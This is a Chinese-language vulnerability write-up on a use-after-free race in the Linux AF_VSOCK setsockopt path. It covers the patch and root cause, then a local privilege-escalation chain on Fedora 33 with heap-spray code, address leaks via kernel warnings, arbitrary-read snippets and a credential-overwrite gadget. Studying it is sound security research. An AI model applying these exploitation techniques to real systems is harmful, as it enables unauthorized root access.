这个漏洞利用太复杂了,可惜没有公开exp。
影响版本:Linux v5.10.13之前。 7.0分。通过修改后的syzkaller挖到。
测试版本:Linux-5.10.12 测试环境下载地址(暂无环境,作者未公开exp)
编译选项:CONFIG_VSOCKETS=y CONFIG_VIRTIO_VSOCKETS=y CONFIG_CHECKPOINT_RESTORE=y CONFIG_SLAB=y
General setup
---> Choose SLAB allocator (SLUB (Unqueued Allocator))
---> SLAB
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v4.x/linux-5.10.12.tar.xz
$ tar -xvf linux-5.10.12.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:net/vmw_vsock/af_vsock.c
中AF_VSOCK
套接字的实现中(创建语句是vsock = socket(AF_VSOCK, SOCK_STREAM, 0)
),vsock_stream_setsockopt()
函数由于错误上锁导致多个竞争条件。以 vsock_stream_setsockopt()
函数为例,在加锁前进行赋值transport = vsk->transport
,transport
是全局变量,但是vsk->transport
会在多处被调用甚至被释放,这就有可能通过条件竞争造成UAF。由commit c0cfa2d8a788fcf4
和6a2c0962105ae8ce
引入VSOCK multi-transport
功能所导致。
补丁:patch 将transport = vsk->transport;
语句从加锁语句lock_sock(sk);
外面挪到了里面,共5个函数需要patch——vsock_poll()
、vsock_dgram_sendmsg()
、vsock_stream_setsockopt()
、vsock_stream_sendmsg()
、vsock_stream_recvmsg()
。
diff --git a/net/vmw_vsock/af_vsock.c b/net/vmw_vsock/af_vsock.c
index b12d3a3222428..6894f21dc1475 100644
--- a/net/vmw_vsock/af_vsock.c
+++ b/net/vmw_vsock/af_vsock.c
// (1) vsock_poll --------------------
@@ -1014,9 +1014,12 @@ static __poll_t vsock_poll(struct file *file, struct socket *sock,
mask |= EPOLLOUT | EPOLLWRNORM | EPOLLWRBAND;
} else if (sock->type == SOCK_STREAM) {
- const struct vsock_transport *transport = vsk->transport;
+ const struct vsock_transport *transport;
+
lock_sock(sk);
+ transport = vsk->transport;
+
/* Listening sockets that have connections in their accept
* queue can be read.
*/
// (2) vsock_dgram_sendmsg --------------------
@@ -1099,10 +1102,11 @@ static int vsock_dgram_sendmsg(struct socket *sock, struct msghdr *msg,
err = 0;
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport;
lock_sock(sk);
+ transport = vsk->transport;
+
err = vsock_auto_bind(vsk);
if (err)
goto out;
// (3) vsock_stream_setsockopt --------------------
@@ -1561,10 +1565,11 @@ static int vsock_stream_setsockopt(struct socket *sock,
err = 0;
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport;
lock_sock(sk);
+ transport = vsk->transport;
+
switch (optname) {
case SO_VM_SOCKETS_BUFFER_SIZE:
COPY_IN(val);
// (4) vsock_stream_sendmsg --------------------
@@ -1697,7 +1702,6 @@ static int vsock_stream_sendmsg(struct socket *sock, struct msghdr *msg,
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport;
total_written = 0;
err = 0;
@@ -1706,6 +1710,8 @@ static int vsock_stream_sendmsg(struct socket *sock, struct msghdr *msg,
lock_sock(sk);
+ transport = vsk->transport;
+
/* Callers should not provide a destination with stream sockets. */
if (msg->msg_namelen) {
err = sk->sk_state == TCP_ESTABLISHED ? -EISCONN : -EOPNOTSUPP;
// (5) vsock_stream_recvmsg --------------------
@@ -1840,11 +1846,12 @@ vsock_stream_recvmsg(struct socket *sock, struct msghdr *msg, size_t len,
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport;
err = 0;
lock_sock(sk);
+ transport = vsk->transport;
+
if (!transport || sk->sk_state != TCP_ESTABLISHED) {
/* Recvmsg is supposed to return 0 if a peer performs an
* orderly shutdown. Differentiate between that case and when a
保护机制:开启SMEP、SMAP、KASLR。信息泄露是通过dmesg
来泄露的,很容易关闭。
利用总结:作者将有限的内存破坏转化为内核任意读写,在Fedora 33 Server
上成功提权,绕过SMEP和SMAP防护,创造了几种新的利用技巧。需要提前学习 CVE-2017-2636利用 和 setxattr() & userfaultfd()
通用堆喷技术 这两篇文章。
- (1)漏洞:由于漏洞对象
virtio_vsock_sock
会触发4字节写(往空闲的virtio_vsock_sock
64字节对象的偏移40处写4字节,该4字节可控),这是一种有限制的UAF,需将该漏洞原语转化为常规的UAF; - (2)victim对象—构造任意堆块释放:恰好
msg_msg
对象的偏移40处为msg_msg.security
,指向内核某个堆块,在收到msg_msg
会释放该块,这样利用msg_msg
进行堆喷(触发4字节任意写来修改msg_msg.security
指向另一个64字节堆块,这样就会释放该目标堆块)就能把4字节写转化为任意堆块释放; - (3)堆地址泄露:触发漏洞后,会调用
virtio_transport_send_pkt_info()
在内核日志中输出warning,其中RBX——vsock_sock
对象的内核地址,RCX——释放对象virtio_vsock_sock
的地址; - (4)任意堆块释放->UAF:
vsock_sock
对象位于专门的cache,无法利用;virtio_vsock_sock
位于kmalloc-64
,可以利用。继续找64字节的victim对象——msg_msg
对象; - (5)任意读:如果发送的消息长度超过4048,就会把多出来的消息存入
msg_msg->next
指向的 segment list中,msg->m_ts
表示整个的size。可以利用setxattr() & userfaultfd()
通用堆喷技术,覆盖msg_msg
对象的msg_msg->next
和msg->m_ts
来泄露内核数据。注意msg_msg.m_list
必须指向有效的消息,可利用msgrcv()
+MSG_COPY
flag 来获取队列中序号为msgtyp
(从0开始)的消息的副本(内核编译时开启CONFIG_CHECKPOINT_RESTORE=y
选项就能调用msgrcv()
),这样就能构造有效的msg_msg.m_list
; - (6)泄露其它堆块地址+内核基址:读取
vsock_sock
对象(RBX
)的内容。其中vsock_sock.sk.sk_memcg
指向kmalloc-4k
大小的mem_cgroup
对象,vsock_sock.sk.sk_write_space
函数指针可以泄露内核基址; - (7)
sk_buff
victim对象的UAF:上一步泄露了kmalloc-4k
堆基址。struct sk_buff
表示网络相关的buffer,网络数据和skb_shared_info
位于相同的内存块(sk_buff.head
指向的内存块),在用户空间构造2800字节的网络包就能使skb_shared_info
被分配在kmalloc-4k
cache中。利用 CVE-2017-2636 时用到了sk_buff
对象;注意,sk_buff
喷射不稳定,可以试试其他对象。 - (8)任意写:由于泄露了
kmalloc-4k
堆地址,所以ubuf_info
结构可以伪造在内核中,可以绕过SMAP(如果CVE-2017-2636也能泄露内核堆块地址kmalloc-4k
、cred地址,且能够找到写cred的gadget地址,就能绕过SMAP防护)。伪造ubuf_info.callback
指向一个特殊的gadget,类似于mov RDX, [RDI+8]; mov [RDX], RSI; ret
。RDI
保存了callback
的第一个参数(也就是ubuf_info
结构的地址),所以RDI+8
指向ubuf_info.desc
,这个gadget能将ubuf_info.desc
赋值给RDX
。现在RDX
存着有效的user ID
和group ID
的地址-1,这个-1
很重要,当gadget将RSI
中的qword 1
写入RDX
指向的内存时,uid
和gid
就会被覆盖为0。然后对uid
和gid
重复该步骤,就能成功提权。注意,这个gadget很特殊,可以试试pivot_gadget
。
思考:
- (1)为了触发本漏洞,syzkaller每次调用
setsockopt()
函数都必须传递不同的size参数。那么如果修改syzkaller,每次都随机化syscall的参数,会不会发现更多的漏洞,但是复现崩溃也变得更不稳定。 - (2)如何将特定上下文的UAF漏洞转化为常规意义的UAF。
- (3)泄露内核数据的新方法,通过堆喷伪造结构中的元素,然后泄露数据;例如
msg_msg
这种结构,能够读取内核数据给用户态。elastic object
是通过溢出来修改长度元素,而这里更加通用,目标是找到属于各种cache的对象。 - (4)找到其他新型gadget,劫持控制流之后进行任意写。或者能不能利用KEPLER中发现的新型的gadget?
一、VSOCK介绍
1.VSOCK介绍
介绍:VM套接字最早是由Vmware开发并提交到Linux内核主线中。VM套接字允许虚拟机与虚拟机管理程序之间进行通信。虚拟机和主机上的用户级应用程序都可以使用VM 套接字API,从而促进guest虚拟机与其host之间的快速有效通信。该机制提供了一个vsock套接字地址系列及其vmci传输,旨在与接口级别的UDP和TCP兼容。VSOCK机制随即得到Linux社区的响应,Redhat在VSOCK中为vsock添加了virtio传输-virtio_transport.ko和vhost传输-vhost_vsock.ko,QEMU/KVM虚拟机管理提供支持,Microsoft添加了HyperV传输-hv_sock。
应用:QEMU guest agent / Kata container agent / Android Debug Bridge (adb)
2.VSOCK架构
VM套接字类型:VM套接字与其他套接字类型类似,例如Berkeley UNIX套接字接口。VM套接字模块支持面向连接的流套接字(例如TCP)和无连接数据报套接字(例如UDP)。VM套接字协议系列定义为“AF_VSOCK”,并且套接字操作分为SOCK_DGRAM和SOCK_STREAM。如下图所示:
VSOCK socket层支持socket API:用户层的AF_SOCK地址簇包含两个要素:
。 CID为Context Identifier,上下文标识符;port为端口。TCP/IP应用程序几乎不需要更改就可以适配,每一个地址表示为
。还有一层为transport层,VSOCK transport用于实现guest和host之间通信的数据通道。如下图所示:
传输方向:Transport根据传输方向分为两种(以SOCK_STREAM类型为例),一种为G2H transport,表示guest到host的传输类型,运行在guest中。另一种为H2G transport,表示host到guest的传输类型。
以QEMU/KVM传输为例,如下图所示:
接口驱动分类:该传输提供套接字层接口的驱动分为两个部分,一个是运行在guest中的virtio-transport
,用于配合guest进行数据传输;另一个是运行在host中的vhost-transport
,用于配合host进行数据传输。
实现:vsock地址簇和G2H实现在net/vmw_vsock
,H2G实现在driver
目录,vhost vsock实现在drivers/vhost/vsock.c
,vmci实现在drivers/misc/vmw_vmci
。以下是qemu中的virtio<->vhost transport
:
guset和host初始化传输通道的过程:
- 1.启动qemu时,命令行中上
-device vhost-vsock-pci,guest-cid=
; - 2.host中加载
vhost_vsock
驱动; - 3.guest会检测并加载
vhost-vsock pci
驱动,在virtio_vsock_init
函数中注册该virtio驱动; - 4.
virtio_vsock
驱动会初始化仿真的vhost-vsock
设备,这将和vhost_vsock
驱动进行交互。
传输层有个全局变量transport
,host和guest都会调用vsock_core_init
函数来注册其 vsock transport。例如,guest中virtio_vsock_init()
调用vsock_core_init
来将transport
设置为virtio_transport.transport
;host中vhost_vsock_init()
调用vsock_core_init
来将transport
设置为vhost_transport.transport
。初始化之后,guest和host就可以使用vsock来交互,具体实现参见Linux vsock internals。
VSOCK transport还提供多传输通道模式,该功能是为了支持嵌套虚拟机中的VSOCK功能。如下图所示:
多传输通道:支持L1虚拟机同时加载H2G和G2H两个传输通道,此时L1虚拟机既是host也是guest,通过H2G传输通道和L2嵌套虚拟机通信,通过G2H传输通道和L0 host通信。
VSOCK transport还支持本地环回传输通道模式,不需要有虚拟机。如下图所示:
本地环回传输通道:该模式用于测试和调试,由vsock-loopback提供支持,并对地址簇中的CID进行了分类,包含两种类型:一种是VMADDR_CID_LOCAL,表示本地环回;一种为VMADDR_CID_HOST,表示H2G传输通道加载,G2H传输通道未加载。
二、漏洞分析
1. 漏洞分析
补丁分析:以 vsock_stream_setsockopt()
函数为例,将(1)
移到(3)
处,(2)
加锁前,vsk->transport
已经赋值到transport
全局变量中,这里产生了一个引用,然后才进行lock_sock(sk)
将sk锁定。但是vsk->transport
会在多处被调用甚至被释放,这就有可能通过条件竞争造成UAF。
最开始没有这个漏洞,因为transport
是局部变量,后来 c0cfa2d8a788fcf4
(加入multi-transports
支持)和 6a2c0962105ae8ce
(防止transport模块卸载)使得transport
变成了全局变量,就导致了本漏洞。
@@ -1561,10 +1565,11 @@ static int vsock_stream_setsockopt(struct socket *sock,
err = 0;
sk = sock->sk;
vsk = vsock_sk(sk);
- transport = vsk->transport; // (1)
lock_sock(sk); // (2)
+ transport = vsk->transport; // (3)
+
switch (optname) {
case SO_VM_SOCKETS_BUFFER_SIZE:
COPY_IN(val);
2. 漏洞触发
漏洞对象:vsk->transport
— virtio_vsock_sock
对象
(1)释放vsk->transport
的调用路径
调用路径:vsock_stream_connect()
(用户层调用connect
) -> vsock_assign_transport()
-> vsock_deassign_transport() -> virtio_transport_destruct()
(vsk->transport->destruct
)
首先找到修改或释放vsk->transport
的调用路径,来看关键函数 vsock_assign_transport()
的实现。对于多传输模式,该函数用于根据不同CID分配不同的传输通道。实现代码如下图所示:
int vsock_assign_transport(struct vsock_sock *vsk, struct vsock_sock *psk)
{
const struct vsock_transport *new_transport;
struct sock *sk = sk_vsock(vsk);
unsigned int remote_cid = vsk->remote_addr.svm_cid;
int ret;
// 根据 sk->sk_type 分为 SOCK_DGRAM 和 SOCK_STREAM,在 SOCK_STREAM 中,分为三种传输通道。这里可以通过将CID设置为本地环回模式,得到 transport_local 传输通道。
switch (sk->sk_type) {
case SOCK_DGRAM:
new_transport = transport_dgram;
break;
case SOCK_STREAM:
if (vsock_use_local_transport(remote_cid))
new_transport = transport_local; // 本地传输通道
else if (remote_cid <= VMADDR_CID_HOST || !transport_h2g)
new_transport = transport_g2h; // guest到host传输通道
else
new_transport = transport_h2g; // host到guest传输通道
break;
default:
return -ESOCKTNOSUPPORT;
}
// 如果vsk->transport不为空,则进入if语句。先判断 vsk->transport 是否等于 new_transport,如果等于直接返回,在触发过程中,要保证能走到 vsock_deassign_transport() 函数,该函数是析构函数,用于释放transport。
if (vsk->transport) {
if (vsk->transport == new_transport)
return 0;
/* transport->release() must be called with sock lock acquired.
* This path can only be taken during vsock_stream_connect(),
* where we have already held the sock lock.
* In the other cases, this function is called on a new socket
* which is not assigned to any transport.
*/
vsk->transport->release(vsk);
vsock_deassign_transport(vsk); // <-------------------- 释放路径
}
/* We increase the module refcnt to prevent the transport unloading
* while there are open sockets assigned to it.
*/
if (!new_transport || !try_module_get(new_transport->module))
return -ENODEV;
ret = new_transport->init(vsk, psk);
if (ret) {
module_put(new_transport->module);
return ret;
}
vsk->transport = new_transport;
return 0;
}
EXPORT_SYMBOL_GPL(vsock_assign_transport);
//
static void vsock_deassign_transport(struct vsock_sock *vsk)
{
if (!vsk->transport)
return;
vsk->transport->destruct(vsk); // (4) 调用vsk->transport->destruct()时,要明确使用transport类型,前文已经确定使用 transport_local。
module_put(vsk->transport->module);
vsk->transport = NULL;
}
(4)
处调用vsk->transport->destruct()
时,要明确使用transport类型,前文已经确定使用 transport_local
模式。transport_local
为全局变量,会在vsock_core_register()
函数中被初始化,该函数被调用情况如下:
*_init()
函数用来初始化transport的回调函数,vhost_vsock_init()
、virtio_vsock_init()
和 vsock_loopback_init()
函数为QEMU/KVM环境下的支持函数。我们发现transport->destruct()
函数的最后实现都是同一个函数(virtio_transport_destruct()
)。如下所示:
// 调用 vsock_core_register() 的函数
EXPORT_SYMBOL_GPL
hvs_init()
vhost_vsock_init() //
virtio_vsock_init() //
vmci_transport_init()
vmci_vsock_transport_cb()
vsock_loopback_init() //
// 引用用 virtio_transport_destruct 函数指针的地方
EXPORT_SYMBOL_GPL
loopback_transport // 函数表 .destruct = virtio_transport_destruct,
vhost_transport // 函数表 .destruct = virtio_transport_destruct,
virtio_transport // 函数表 .destruct = virtio_transport_destruct,
// 该 destruct() 函数释放 vsk->trans。 vsk->trans 指针指向 transport。
void virtio_transport_destruct(struct vsock_sock *vsk)
{
struct virtio_vsock_sock *vvs = vsk->trans;
kfree(vvs);
}
EXPORT_SYMBOL_GPL(virtio_transport_destruct);
(2)使用vsk->transport
的调用路径
调用路径:vsock_stream_setsockopt()
(用户调用setsockopt()
) -> vsock_update_buffer_size()
-> virtio_transport_notify_buffer_size()
/* sk_lock held by the caller */
void virtio_transport_notify_buffer_size(struct vsock_sock *vsk, u64 *val)
{
struct virtio_vsock_sock *vvs = vsk->trans;
if (*val > VIRTIO_VSOCK_MAX_BUF_SIZE) // VIRTIO_VSOCK_MAX_BUF_SIZE == 0xFFFFFFFFUL
*val = VIRTIO_VSOCK_MAX_BUF_SIZE;
vvs->buf_alloc = *val; // 通过vsk->trans获取指向transport的指针,然后对vvs->buf_alloc进行4字节赋值。
virtio_transport_send_credit_update(vsk, VIRTIO_VSOCK_TYPE_STREAM,
NULL);
}
EXPORT_SYMBOL_GPL(virtio_transport_notify_buffer_size);
static void vsock_update_buffer_size(struct vsock_sock *vsk,
const struct vsock_transport *transport,
u64 val)
{
if (val > vsk->buffer_max_size)
val = vsk->buffer_max_size;
if (val < vsk->buffer_min_size)
val = vsk->buffer_min_size;
if (val != vsk->buffer_size &&
transport && transport->notify_buffer_size)
transport->notify_buffer_size(vsk, &val); // <--------- transport 早就失效了,首先触发UAF
vsk->buffer_size = val;
}
漏洞对象的结构链:vsock_sock (结尾 void *trans
指针) -> virtio_vsock_sock ,virtio_vsock_sock
漏洞对象属于kmalloc-64
。对virtio_vsock_sock->buf_alloc
进行赋值,导致UAF,且赋的值*val
也是用户可控的,这样就能任意写4字节。
/* Per-socket state (accessed via vsk->trans) */
struct virtio_vsock_sock {
struct vsock_sock *vsk;
spinlock_t tx_lock;
spinlock_t rx_lock;
/* Protected by tx_lock */
u32 tx_cnt;
u32 peer_fwd_cnt;
u32 peer_buf_alloc;
/* Protected by rx_lock */
u32 fwd_cnt;
u32 last_fwd_cnt;
u32 rx_bytes;
u32 buf_alloc; // 偏移为40
struct list_head rx_queue;
};
(3)构造条件竞争
条件竞争:connect()
系统调用先抢到锁对transport进行释放,然后再调用setsockopt()
才能触发漏洞。有开发人员提出使用userfaultfd
机制先将lock_sock锁定,然后再去释放锁,进行条件竞争。漏洞触发过程如下图所示:
蓝框中是connect()
调用过程,最后调用virtio_transport_destruct()
函数释放vsk->trans
。红框中是setsockopt()
调用过程,调用virtio_transport_notify_buffer_size()
函数使用vvs,该值是0xffff888107a74500,在0xffff888107a74500+0x28处会写入4字节。两个线程的竞争点如下所示:
3. 漏洞挖掘
syzkaller无法复现的原因如下:为了触发执行 notify_buffer_size()
函数,每次调用setsockopt()
都必须传递不同的size参数,见poc 。如果不修改syzkaller是无法触发本漏洞的,可能是运气好,多线程时采用SO_VM_SOCKETS_BUFFER_MAX_SIZE
和SO_VM_SOCKETS_BUFFER_MIN_SIZE
参数触发了漏洞。
// vsock_update_buffer_size() —— 只有当val和当前buffer_size不同时才会调用 notify_buffer_size(), 也就是说,调用 setsockopt()时(选项为SO_VM_SOCKETS_BUFFER_SIZE),必须采用不同的size参数
if (val != vsk->buffer_size &&
transport && transport->notify_buffer_size)
transport->notify_buffer_size(vsk, &val);
vsk->buffer_size = val;
// vsock_stream_setsockopt()
switch (optname) {
case SO_VM_SOCKETS_BUFFER_SIZE:
COPY_IN(val);
vsock_update_buffer_size(vsk, transport, val);
break;
}
// POC中每次调用 setsockopt() 传递不同的size参数
struct timespec tp;
unsigned long size = 0;
clock_gettime(CLOCK_MONOTONIC, &tp);
size = tp.tv_nsec;
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
思考:为了触发本漏洞,syzkaller每次调用setsockopt()
函数都必须传递不同的size参数。那么如果修改syzkaller,每次都随机化syscall的参数,会不会发现更多的漏洞,但是复现崩溃也变得更不稳定。
三、漏洞利用
实验目标:Fedora 33 Server 内核版本5.10.11-200.fc33.x86_64
1. 竞争线程构造
// thread 1 —— setsockopt()
setsockopt(vsock, PF_VSOCK, SO_VM_SOCKETS_BUFFER_SIZE,
&size, sizeof(unsigned long));
// thread 2 —— connect() 当 vsock_stream_setsockopt() 试图获取 socket lock 时,线程2需要释放 transport
struct sockaddr_vm addr = {
.svm_family = AF_VSOCK,
};
addr.svm_cid = VMADDR_CID_LOCAL;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
// 线程2第二次connect时,svm_cid要和第一次不同才能走到释放 vsock_sock->transport 的分支, 然后将 vsock_sock->transport 赋值为null, 后面 vsock_stream_setsockopt() 触发UAF
addr.svm_cid = VMADDR_CID_HYPERVISOR;
connect(vsock, (struct sockaddr *)&addr, sizeof(struct sockaddr_vm));
当connect()
释放 socket lock 之后,vsock_stream_setsockopt()
才能继续执行并调用vsock_update_buffer_size() -> transport->notify_buffer_size()
,transport全局变量存的是一个过时的局部变量vsk->transport
。触发UAF。
2.四字节的力量
漏洞总结:本竞争漏洞能够往释放后的virtio_vsock_sock
对象(属于kmalloc-64
)的40偏移处写任意四字节。
稳定堆喷—尝试add_key
:只是测试是否能够稳定堆喷,并非最终使用的喷射对象。在第2次调用connect()
后,且并行线程执行完vsock_stream_setsockopt()
中的漏洞语句,调用add_key
来堆喷。使用ftrace来跟踪内核分配器,确保释放后的virtio_vsock_sock
对象已被覆写,也即成功堆喷。
寻找堆喷对象的过程:下一步是找到一个64字节的内核对象,可以提供更强的利用原语 ,即偏移40处的四字节可利用。尝试过 Bad Binder exploit 介绍的 构造iovec
对象实现内核任意读写,但失败了(因为64字节的iovec
分配在栈上,且偏移40处是iovec.iov_len
而非iovec.iov_base
,且版本4.13
之后就不能用iovec
方法了,来自2017的commit 09fc68dc66f7597b)。
找到堆喷对象:后来找到了msgsnd()
调用中的struct msg_msg
对象,该对象后面跟的是message数据,只要用户传递16字节的struct msgbuf
->mtext
,则内核中的msg_msg
对象就会分配到kmalloc-64
。4字节写就能覆盖void *security
指针,这有什么用呢?
struct msg_msg {
struct list_head m_list; /* 0 16 */
long int m_type; /* 16 8 */
size_t m_ts; /* 24 8 */
struct msg_msgseg * next; /* 32 8 */
void * security; /* 40 8 */
/* size: 48, cachelines: 1, members: 5 */
/* last cacheline: 48 bytes */
};
/* message buffer for msgsnd and msgrcv calls */
struct msgbuf {
__kernel_long_t mtype; /* type of message */
char mtext[1]; /* message text */
};
msg_msg.security
:msg_msg.security
指向lsm_msg_msg_alloc()
分配的内核数据,Fedora的SELinux调用了lsm_msg_msg_alloc()
函数,当收到msg_msg
之后调用security_msg_msg_free()
释放该内核数据,所以覆盖msg_msg.security
的低4字节就能构造任意空间释放。
3. 堆地址泄露
方法:和CVE-2019-18683 exploit类似,第2次调用connect()
时会执行vsock_deassign_transport()
,将vsk->transport
设置为NULL,这样vsock_stream_setsockopt()
调用virtio_transport_send_pkt_info()
时(恰好在发生内存破坏之后),会报内核警告:
调用路径——vsock_stream_setsockopt()
(用户调用setsockopt()
) -> vsock_update_buffer_size()
-> virtio_transport_notify_buffer_size()
-> virtio_transport_send_credit_update() -> virtio_transport_send_pkt_info()
// warning: RCX——释放对象 virtio_vsock_sock 的基址, RBX——vsock_sock对象的内核地址。Fedora系统可以打开和解析 /dev/kmsg, 通过寄存器的值可以泄露内核地址。
WARNING: CPU: 1 PID: 6739 at net/vmw_vsock/virtio_transport_common.c:34
...
CPU: 1 PID: 6739 Comm: racer Tainted: G W 5.10.11-200.fc33.x86_64 #1
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.13.0-2.fc32 04/01/2014
RIP: 0010:virtio_transport_send_pkt_info+0x14d/0x180 [vmw_vsock_virtio_transport_common]
...
RSP: 0018:ffffc90000d07e10 EFLAGS: 00010246
RAX: 0000000000000000 RBX: ffff888103416ac0 RCX: ffff88811e845b80
RDX: 00000000ffffffff RSI: ffffc90000d07e58 RDI: ffff888103416ac0
RBP: 0000000000000000 R08: 00000000052008af R09: 0000000000000000
R10: 0000000000000126 R11: 0000000000000000 R12: 0000000000000008
R13: ffffc90000d07e58 R14: 0000000000000000 R15: ffff888103416ac0
FS: 00007f2f123d5640(0000) GS:ffff88817bd00000(0000) knlGS:0000000000000000
CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00007f81ffc2a000 CR3: 000000011db96004 CR4: 0000000000370ee0
Call Trace:
virtio_transport_notify_buffer_size+0x60/0x70 [vmw_vsock_virtio_transport_common]
vsock_update_buffer_size+0x5f/0x70 [vsock]
vsock_stream_setsockopt+0x128/0x270 [vsock]
...
4. 任意空间释放->UAF
目标:任意空间释放->UAF
- 根据warning泄露的地址来释放对象;
- 堆喷控制该对象;
- 劫持控制流
尝试vsock_sock
(EBX
):开始想释放vsock_sock
对象(EBX
),因为这个对象很大,有很多有趣的结构,但是vsock_sock
位于专门的cache,无法进行堆喷。
尝试virtio_vsock_sock
(RCX
):释放virtio_vsock_sock
对象(RCX
),需找到某个大小为64字节的victim对象。
5. 实现任意读
msg_msg
—victim对象:前面讲到利用msg_msg
作堆喷,现在分析下如何利用msg_msg
来实现常规的UAF。System V消息的实现中有个消息最大长度DATALEN_MSG
(值为PAGE_SIZE - sizeof(struct msg_msg))
== 4048),如果发送的消息过长就会将超过的部分存放在多个段中,msg_msg->next
指向第1个segment(段头部8字节+消息的其余部分),msg->m_ts
表示整个的size。这样我们就可以通过堆喷来伪造msg_msg.m_ts
和msg_msg.next
来进行利用。
堆喷:现在不要覆盖msg_msg.security
,避免破坏SELinux permission check
,可以使用setxattr() & userfaultfd()
通用堆喷技术 (中文翻译)来避免覆盖msg_msg.security
。准备payload的代码如下所示:
setxattr() & userfaultfd()
通用堆喷技术:针对堆喷无法控制对象的前N个字节的问题、以及小块如kmalloc-8/16/32
无法控制的问题,例如msgsnd()
分配路径有个不受控制的前48字节。setxattr()
函数会在内核中分配用户指定的size,然后将用户数据拷贝进去,最后释放该空间;可以利用userfaultfd()
在拷贝X字节后转入用户错误处理,使内存块驻留在内核中。
#define PAYLOAD_SZ 40
void adapt_xattr_vs_sysv_msg_spray(unsigned long kaddr)
{
struct msg_msg *msg_ptr;
xattr_addr = spray_data + PAGE_SIZE * 4 - PAYLOAD_SZ; // 伪造结构的起始地址
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0xa5, PAGE_SIZE * 4);
printf("[+] adapt the msg_msg spraying payload:\n");
msg_ptr = (struct msg_msg *)xattr_addr; //
msg_ptr->m_type = 0x1337;
msg_ptr->m_ts = ARB_READ_SZ;
msg_ptr->next = (struct msg_msgseg *)kaddr; /* set the segment ptr for arbitrary read */
printf("\tmsg_ptr %p\n\tm_type %lx at %p\n\tm_ts %zu at %p\n\tmsgseg next %p at %p\n",
msg_ptr,
msg_ptr->m_type, &(msg_ptr->m_type),
msg_ptr->m_ts, &(msg_ptr->m_ts),
msg_ptr->next, &(msg_ptr->next));
}
实现任意读:如何利用伪造的msg_msg
读取内核数据?以上代码中将msg_msg.m_list
伪造成了无效的指针0xa5a5a5a5a5a5a5a5
,导致内核崩溃,能不能使msg_msg.m_list
指向另一个有效的message呢?通过阅读msgrcv()
- documentation可以找到答案,用msgrcv()
+MSG_COPY
flag 可以获取队列中序号为msgtyp
(从0开始)的消息的副本,只要内核编译时开启CONFIG_CHECKPOINT_RESTORE=y
选项就能使用该功能,这在Fedora服务器中是默认开启的。
-
1.准备
- 调用
sched_getaffinity()
和CPU_COUNT()
计算可用CPU数(CPU数必须>=2); - 打开
/dev/kmsg
; -
mmap()
映射spray_data
内存区域,配置userfaultfd()
在msg_msg.security
偏移处挂起; - 开启1个单独的线程来处理
userfaultfd()
事件; - 开启127个线程来对空闲的
msg_msg
作setxattr() & userfaultfd()
堆喷,并用pthread_barrier
栅栏拦住。
- 调用
-
2.泄露1个有效的
msg_msg
对象的地址- 利用漏洞赢得竞争;
- 第2次
connect()
之后循环等待35微秒; - 在单独的消息队列中调用
msgsnd
,利用msg_msg
对象占据virtio_vsock_sock
空闲堆块; - 解析内核日志,从内核warning中获取指向
msg_msg
对象的RCX
寄存器值; - 同时保存
RBX
寄存器值——vsock_sock
对象的地址。
-
3.触发任意堆块释放, 即使用被破坏的
msg_msg
对象来释放一个有效的msg_msg
对象使用4字节有效的
msg_msg
对象地址作为SO_VM_SOCKETS_BUFFER_SIZE
,这4字节会覆盖msg_msg.security
的低4字节;利用漏洞赢得竞争;
第2次调用
connect()
之后立刻调用msgsnd()
,利用msg_msg
占据virtio_vsock_sock
空闲堆块;-
现在
msg_msg.security
指针指向了一个有效的msg_msg
对象;
如果
setsockopt()
线程修改msg_msg.security
的时机恰好发生在msgsnd()
处理时,则SELinux permission check
会失败;这种情况下,
msgsnd()
会返回-1,且被修改的msg_msg
会修改,释放msg_msg.security
时实际上释放了一个有效的msg_msg
对象。-
4.伪造被释放的
msg_msg
对象在
msgsnd()
失败后,立刻调用pthread_barrier_wait()
放开栅栏,唤醒127个堆喷线程;这些线程会调用
setxattr()
来堆喷(payload是用前面提到的adapt_xattr_vs_sysv_msg_spray(vsock_kaddr)
来布置的);-
现在
msg_msg
对象被覆盖为可控数据,且msg_msg.next
指针指向System V message段(保存着vsock_sock
对象的地址,前面通过RBX
泄露)。
-
5.通过从消息队列(保存着伪造的
msg_msg
对象)接收消息,来读取vsock_sock
内核对象的内容。ret = msgrcv(msg_locations[0].msq_id, kmem, ARB_READ_SZ, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR);
6. 泄露其它堆块和内核基址
目前能够读取vsock_sock
对象的内容,分析其内容,研究如何继续利用呢?
vsock_sock
内容:
- 很多指向专用cache的指针,如
PINGv6
和sock_inode_cache
,没有用; -
struct mem_cgroup *sk_memcg
指针在vsock_sock.sk
的偏移664处,mem_cgroup
结构位于kmalloc-4k
,非常好; -
const struct cred *owner
指针在vsock_sock
的偏移840处,可以覆盖它指向的凭证来提权; -
void (*sk_write_space)(struct sock *)
函数指针在vsock_sock.sk
的偏移为688,该指针会被赋值为sock_def_write_space()
,可用于计算KASLR offset。
以下代码负责搜集vsock_sock
中的指针信息:
#define MSG_MSG_SZ 48
#define DATALEN_MSG (PAGE_SIZE - MSG_MSG_SZ)
#define SK_MEMCG_OFFSET 664
#define SK_MEMCG_RD_LOCATION (DATALEN_MSG + SK_MEMCG_OFFSET)
#define OWNER_CRED_OFFSET 840
#define OWNER_CRED_RD_LOCATION (DATALEN_MSG + OWNER_CRED_OFFSET)
#define SK_WRITE_SPACE_OFFSET 688
#define SK_WRITE_SPACE_RD_LOCATION (DATALEN_MSG + SK_WRITE_SPACE_OFFSET)
/*
* From Linux kernel 5.10.11-200.fc33.x86_64:
* function pointer for calculating KASLR secret
*/
